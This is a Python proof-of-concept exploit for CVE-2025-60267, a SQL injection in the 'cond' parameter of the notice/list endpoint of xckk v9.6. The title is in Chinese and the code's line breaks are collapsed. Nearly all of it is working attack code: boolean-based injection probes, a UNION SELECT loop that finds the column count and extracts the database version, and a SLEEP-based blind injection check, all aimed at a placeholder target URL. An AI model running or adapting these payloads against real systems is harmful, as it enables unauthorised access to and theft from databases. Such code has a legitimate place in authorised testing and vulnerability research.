CVE-2025-60267：xckk v9.6 notice/list接口SQL注入漏洞

# CVE-2025-60267 - xckk v9.6 SQL Injection PoC # Vulnerability: SQL injection via cond parameter in notice/list endpoint # Author: Security Researcher import requests import sys TARGET_URL = "http://target-host/notice/list" INJECTION_PARAM = "cond" def check_injection(url, param): """Basic SQL injection detection using boolean-based technique""" # Normal request normal_payload = "1" normal_resp = requests.get(url, params={param: normal_payload}) normal_length = len(normal_resp.text) # Boolean TRUE payload true_payload = "1' AND '1'='1" true_resp = requests.get(url, params={param: true_payload}) true_length = len(true_resp.text) # Boolean FALSE payload false_payload = "1' AND '1'='2" false_resp = requests.get(url, params={param: false_payload}) false_length = len(false_resp.text) if true_length == normal_length and false_length != normal_length: print("[+] Target is vulnerable to SQL injection!") return True else: print("[-] Target may not be vulnerable.") return False def extract_data_union(url, param): """UNION-based SQL injection to extract database version""" # Determine number of columns first for i in range(1, 15): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"0' UNION SELECT {cols}-- " resp = requests.get(url, params={param: payload}) if resp.status_code == 200 and "error" not in resp.text.lower(): print(f"[+] Number of columns: {i}") # Extract database version version_payload = f"0' UNION SELECT {cols.replace('1', 'version()')}-- " version_resp = requests.get(url, params={param: version_payload}) print(f"[+] Database version info: {version_resp.text[:500]}") break def time_based_injection(url, param): """Time-based blind SQL injection""" import time payload = "1' AND SLEEP(5)-- " start = time.time() resp = requests.get(url, params={param: payload}) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)") return True return False if __name__ == "__main__": print(f"[*] Testing CVE-2025-60267 against {TARGET_URL}") if check_injection(TARGET_URL, INJECTION_PARAM): extract_data_union(TARGET_URL, INJECTION_PARAM) time_based_injection(TARGET_URL, INJECTION_PARAM)